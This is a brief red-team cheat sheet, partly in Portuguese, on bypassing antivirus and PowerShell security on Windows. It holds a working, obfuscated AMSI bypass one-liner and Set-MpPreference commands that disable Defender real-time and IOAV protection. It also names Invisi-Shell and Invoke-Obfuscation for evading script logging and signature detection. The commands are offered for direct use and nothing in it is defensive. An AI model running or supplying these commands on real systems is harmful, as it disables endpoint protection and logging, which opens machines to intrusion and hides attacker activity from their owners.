Basic AV Bypass

• AMSI bypass

S`eT-It`em ( 'V'+'aR' +  'IA' + ('blE:1'+'q2')  + ('uZ'+'x')  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    Get-varI`A`BLE  ( ('1Q'+'2U')  +'zX'  )  -VaL  )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f('Uti'+'l'),'A',('Am'+'si'),('.Man'+'age'+'men'+'t.'),('u'+'to'+'mation.'),'s',('Syst'+'em')  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f('a'+'msi'),'d',('I'+'nitF'+'aile')  ),(  "{2}{4}{0}{1}{3}" -f ('S'+'tat'),'i',('Non'+'Publ'+'i'),'c','c,'  ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )

• Bypassing Real time monitoring (admin access)

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true

• Bypassing Powershell Security

Invisi-Shell

O Invisi-Shell ignora todos os recursos de segurança do Powershell (registro ScriptBlock, registro de módulo, transcrição, AMSI) ao conectar assemblies .Net.

• Com privilégios de administrador

RunWithPathAsAdmin.bat

• Com privilégios não administrativos - (Recomendado)

RunWithRegistryNonAdmin.bat

Bypass AV Signatures for PowerShell

Para ofuscação completa de scripts do PowerShell, use - Invoke-Obfuscation

• Invoke-Obfuscation